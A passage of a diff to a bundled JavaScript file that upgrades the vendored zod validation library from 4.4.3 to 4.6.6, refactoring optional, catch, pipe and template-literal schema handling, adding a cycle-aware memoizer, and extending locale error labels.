inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -50664,13 +51317,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -50679,16 +51332,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -50696,59 +51349,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -50758,8 +51407,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50783,8 +51432,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50797,8 +51446,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -50837,46 +51486,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -50896,10 +51536,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -50916,18 +51556,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -50977,10 +51617,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -50993,23 +51633,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -51043,33 +51726,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -51108,12 +51791,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -51132,10 +51815,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -51148,20 +51831,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -51175,14 +51858,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -51194,7 +52156,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -51205,22 +52169,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -51232,13 +52203,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51264,12 +52236,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -51339,13 +52315,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -51371,12 +52348,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -51445,7 +52426,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -51487,6 +52468,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -51520,12 +52509,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -51602,13 +52595,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: 